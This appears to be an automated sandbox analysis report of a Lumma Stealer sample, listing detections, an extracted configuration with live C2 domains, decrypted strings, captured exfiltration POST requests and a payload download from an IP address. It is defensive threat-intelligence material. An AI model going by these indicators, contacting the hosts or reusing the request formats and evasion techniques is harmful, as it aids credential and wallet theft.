Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543322
MD5:	281f372246777419ceaaafdbd95dc327
SHA1:	0a0efd12b83957e5cfa8648c87a024f2ee98fc6b
SHA256:	be67deb283e12090b9fef8715b5043be31b83442272d39ab98eb19384c0349b7
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3840 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 281F372246777419CEAAAFDBD95DC327)

RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe (PID: 528 cmdline: "C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe" MD5: 8A631FA6EE0D28F9E1099CCEEBA9C4B1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["navygenerayk.store", "crisiwarny.store", "thumbystriw.store", "founpiuer.store", "fadehairucw.store", "scriptyprefej.store", "presticitpo.store", "necklacedmny.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2157138603.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3840	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:17:08.300938+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49706	104.21.95.91	443	TCP
2024-10-27T17:17:09.540989+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49707	104.21.95.91	443	TCP
2024-10-27T17:17:21.229205+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49713	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:17:08.300938+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49706	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:17:09.540989+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49707	104.21.95.91	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:17:22.142033+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49714	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:17:17.360859+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49711	104.21.95.91	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T17:17:18.461757+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49712	104.21.95.91	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.3840.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["navygenerayk.store", "crisiwarny.store", "thumbystriw.store", "founpiuer.store", "fadehairucw.store", "scriptyprefej.store", "presticitpo.store", "necklacedmny.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2293183821.0000000000D31000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49713 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe, 00000003.00000003.2297071300.0000000004960000.00000004.00001000.00020000.00000000.sdmp, RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe, 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49707 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49706 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49707 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49711 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49713 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49712 -> 104.21.95.91:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: necklacedmny.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 27 Oct 2024 16:17:21 GMTContent-Type: application/octet-streamContent-Length: 2771456Last-Modified: Sun, 27 Oct 2024 15:08:17 GMTConnection: keep-aliveETag: "671e5761-2a4a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 79 d4 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 65 73 77 63 78 70 6d 00 00 2a 00 00 a0 00 00 00 ea 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 79 74 6f 66 6a 6b 6e 00 20 00 00 00 a0 2a 00 00 04 00 00 00 24 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 28 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.95.91 104.21.95.91
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49714 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12840Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15082Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20572Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1243Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551261Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B5E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2291729375.0000000000B5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/c;
Source: file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/d;
Source: file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290790362.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2292609783.0000000000BF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290878634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2291729375.0000000000B54000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeB
Source: file.exe, 00000000.00000002.2291389458.0000000000AFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeP
Source: file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeV
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2088409547.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro0
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2141345481.0000000005896000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
